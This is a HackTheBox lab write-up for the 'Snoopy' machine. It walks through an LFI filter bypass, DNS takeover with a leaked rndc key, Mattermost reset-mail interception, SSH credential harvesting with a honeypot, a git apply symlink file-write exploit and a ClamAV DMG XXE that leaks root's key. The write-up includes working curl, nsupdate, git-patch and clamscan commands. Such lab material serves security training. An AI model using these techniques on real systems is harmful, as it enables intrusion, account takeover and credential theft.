HTB: Snoopy Writeup

Snoopy - HackTheBox Writeup

Machine Information

AttributeDetails
NameSnoopy
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Snoopy is a Hard Linux box built around a chain of trust failures rather than a single exploit. An LFI on the marketing site’s PDF-download endpoint leaks Bind9’s rndc-key, which grants authenticated dynamic DNS updates. Redirecting mail.snoopy.htb to an attacker-controlled mail server turns Mattermost’s password-reset flow into a credential handout, giving access as sbrown. From inside Mattermost, a custom /server_provision slash command is abused to make the “ops” side of the house SSH into an attacker-controlled honeypot, harvesting cbrown’s real SSH credentials. cbrown has a scoped sudo git apply entitlement that, on git 2.34.1, is vulnerable to a symlink-based arbitrary file write — used to overwrite sbrown’s authorized_keys. Root is obtained via CVE-2023-20052, an XXE in ClamAV’s DMG parser, weaponized against a sudo clamscan --debug entitlement to leak root’s SSH private key straight into the debug log.

TL;DR: LFI → leaked Bind9 rndc-key → DNS takeover of mail.snoopy.htb → intercepted Mattermost password-reset token → sbrown access → Mattermost /server_provision abuse → SSH honeypot captures cbrown creds → cbrown’s restricted sudo git apply (git 2.34.1 symlink write) overwrites sbrown’s authorized_keys → user → CVE-2023-20052 ClamAV DMG XXE via sudo clamscan --debug leaks root’s SSH key → root.


Reconnaissance

Port Scanning

Terminal window
nmap -sC -sV -T4 -p- snoopy.htb

Results: SSH (22), Bind9 DNS (53), and an Nginx front end (80) hosting the SnoopySec marketing site. The web app links to a subdomain that turned out to be the real path in: mm.snoopy.htb, running Mattermost.

Service Enumeration

The main site’s PDF-download feature calls a /download?file= endpoint that echoes the requested filename straight into a file read. That parameter was the entry point for the whole chain.

Vulnerability Assessment

  • LFI in /download?file= — path-traversal filtering only strips a single pass of ../, so a payload built from repeated ....// sequences survives the sanitizer and still resolves to ../../.. after the naive strip. This let arbitrary file reads reach Bind9’s config files.
  • Bind9 named.conf/named.conf.local exposure — leaked the rndc-key used to authorize dynamic DNS updates (allow-update) for the snoopy.htb zone.
  • Mattermost password reset abuse — with DNS control over mail.snoopy.htb, password-reset emails for known usernames (sbrown, cbrown from the site’s team page) could be redirected and read.

Initial Foothold

Exploitation Path

1. LFI → Bind9 key disclosure

Terminal window
# LFI bypasses naive '../' stripping via repeated dot-dot-slash
curl "http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf.local"
curl "http://snoopy.htb/download?file=....//....//....//....//....//....//....//....//etc/bind/named.conf"

named.conf.local showed the snoopy.htb zone permits dynamic updates authenticated by rndc-key; named.conf contained that key’s HMAC-SHA256 secret.

2. DNS takeover via nsupdate

With the leaked key, dynamic DNS updates for the zone are possible — this is exactly what allow-update { key "rndc-key"; } is designed to permit, just not for an attacker holding the key:

Terminal window
nsupdate -k rndc.key
> server snoopy.htb
> zone snoopy.htb
> update add mail.snoopy.htb. 60 A <ATTACKER_IP>
> send
> quit

3. Mail interception → Mattermost account takeover

With mail.snoopy.htb now resolving to the attacker box, standing up a mail server (Postfix) to actually accept SMTP for that domain turns the “email will be sent if the account exists” password-reset flow into a live credential channel. Triggering a reset for sbrown on Mattermost and reading the intercepted email surfaced the reset token, used against Mattermost’s reset_password_complete endpoint to set a new password and log in as sbrown.

4. Mattermost /server_provision → SSH honeypot

Once inside as sbrown, a channel referenced a custom /server_provision slash command used by staff to provision remote servers. Rather than guess the form fields blind, the request/response for the provisioning dialog was captured over the underlying websocket connection to recover the exact field schema (OS selector, port, target IP) before submitting.

Submitting the form with the target IP pointed at an attacker-controlled host causes the “ops” side of the workflow to open an SSH connection to that host as cbrown. Standing up sshesame as an SSH honeypot on the port the form expects captures the real credentials on connection:

Terminal window
git clone https://github.com/jaksi/sshesame
cd sshesame && go build
# listen on the port the provisioning workflow connects to
sed -i 's/127.0.0.1:2022/0.0.0.0:2222/' sshesame.yaml
./sshesame -config sshesame.yaml

Resubmitting /server_provision against the honeypot yielded cbrown’s real SSH password, used to authenticate directly to the box as cbrown.


Privilege Escalation

cbrown → sbrown (user.txt)

cbrown had a scoped sudo entitlement to run git apply as sbrown:

Terminal window
sudo -l
# (sudo) NOPASSWD: sbrown ALL : /usr/bin/git apply ...
git --version
# git version 2.34.1

git 2.34.1 predates the fix for the git apply arbitrary-file-write-via-symlink issue (CVE-2023-23946, fixed in git 2.39.2): a crafted patch can rename a tracked symlink and then “create” a file through it, so git apply ends up writing attacker-controlled content to whatever the symlink target resolves to — including paths outside the working tree.

Terminal window
# stage a symlink pointing at sbrown's .ssh directory
cd /dev/shm && mkdir rce && cd rce && git init .
ln -s /home/sbrown/.ssh symlink
git add symlink
git commit -m "add symlink"
# patch renames the symlink then "creates" authorized_keys through it,
# landing our own public key inside sbrown's real .ssh directory
cat > patch <<-'EOF'
diff --git a/symlink b/renamed-symlink
similarity index 100%
rename from symlink
rename to renamed-symlink
diff --git a/dev/null b/renamed-symlink/authorized_keys
new file mode 100644
--- /dev/null
+++ b/renamed-symlink/authorized_keys
@@ -0,0 +1 @@
+ssh-ed25519 AAAA... attacker@box
EOF
sudo -u sbrown /usr/bin/git apply -v patch
ssh sbrown@snoopy.htb

user.txt retrieved as sbrown.

sbrown → root (root.txt)

sbrown had a sudo entitlement to run clamscan. ClamAV’s DMG parser is affected by CVE-2023-20052, an XML External Entity (XXE) injection: DMG files carry an embedded XML resource-fork property list, and ClamAV’s parser processes that XML without disabling external entity resolution. A DMG crafted with a malicious <!DOCTYPE>/entity declaration causes ClamAV to read an arbitrary file on disk and echo it back in --debug output.

The environment’s libdmg-hfsplus build was already pre-patched with the XXE payload wired into the DMG resource-fork template (pointing the external entity at /root/.ssh/id_rsa), so building a malicious DMG and scanning it was sufficient to trigger the leak:

Terminal window
sudo clamscan --debug /home/sbrown/scanfiles/c.dmg
# debug output includes the contents of /root/.ssh/id_rsa via the XXE entity
Terminal window
chmod 600 root_id_rsa
ssh -i root_id_rsa root@snoopy.htb

root.txt retrieved as root.

Environment note: the jump box used for this solve had /tmp at 100% capacity, which silently broke zsh heredocs and any tool relying on temp files (including parts of the DMG-build toolchain). Exporting TMPDIR=/dev/shm and staging all working files there worked around it — worth checking df -h /tmp early if heredocs or compiles fail with no obvious error.


Attack Chain Summary

LFI on /download?file= (dot-dot-slash bypass)
→ leak Bind9 rndc-key from named.conf
→ nsupdate DNS takeover of mail.snoopy.htb
→ Postfix captures Mattermost password-reset email for sbrown
→ account takeover as sbrown
→ Mattermost /server_provision (websocket-sniffed schema) targets attacker box
→ sshesame honeypot captures cbrown's SSH credentials
→ cbrown's sudo git apply (git 2.34.1 / CVE-2023-23946 symlink write)
→ overwrite sbrown's authorized_keys → SSH as sbrown → user.txt
→ sbrown's sudo clamscan --debug + CVE-2023-20052 DMG XXE
→ leaks root's SSH private key → SSH as root → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curl/BurpLFI exploitation against /download?file=
nsupdateAuthenticated dynamic DNS update using leaked rndc-key
PostfixStood up to receive intercepted Mattermost password-reset mail
Browser DevTools (websocket)Recovered /server_provision form field schema
sshesameSSH honeypot to capture cbrown’s credentials
gitSymlink-based arbitrary file write via git apply (CVE-2023-23946)
genisoimage / libdmg-hfsplusBuilt the malicious DMG carrying the XXE payload
clamscanTriggered CVE-2023-20052 to leak root’s SSH key

Key Learnings

Techniques Practiced

  • LFI path-traversal filter bypass via non-recursive sanitization
  • Abusing leaked DNS TSIG/rndc keys for authenticated zone takeover
  • Turning a password-reset flow into a credential leak via mail interception
  • Recovering hidden application form schemas via websocket traffic inspection
  • SSH honeypotting to harvest credentials from an internal automation workflow
  • Git symlink arbitrary-file-write privilege escalation via scoped sudo git apply
  • XXE injection through a non-XML-looking file format (DMG) to leak files via a scanner’s debug output

Lessons Learned

  1. Config files leaked via LFI are worth pursuing even after /etc/passwd looks unhelpful — service-specific configs (Bind9 keys, in this case) are often the real prize.
  2. A scoped sudo entitlement is only as safe as the exact binary version allowed — git apply at 2.34.1 vs. the patched 2.39.2 was the entire difference between “restricted” and “arbitrary write as another user.”
  3. Debug/verbose flags on privileged utilities (clamscan --debug) can turn an otherwise-contained parser bug into a direct file-read primitive.
  4. When a jump box’s /tmp fills up, failures show up as silent breakage (heredocs, temp-file-dependent tools) rather than clear errors — check disk space before deep-diving into a tool’s “broken” behavior.

Proof of Ownership

User Flag (sbrown): <redacted>
Root Flag: <redacted>

References

  • TheCyberGeek, “Snoopy” HackTheBox Official Writeup, Document No. D23.100.237 — used for CVE identification and conceptual explanation of the Bind9 key abuse, git apply symlink mechanics, and the ClamAV DMG XXE payload construction.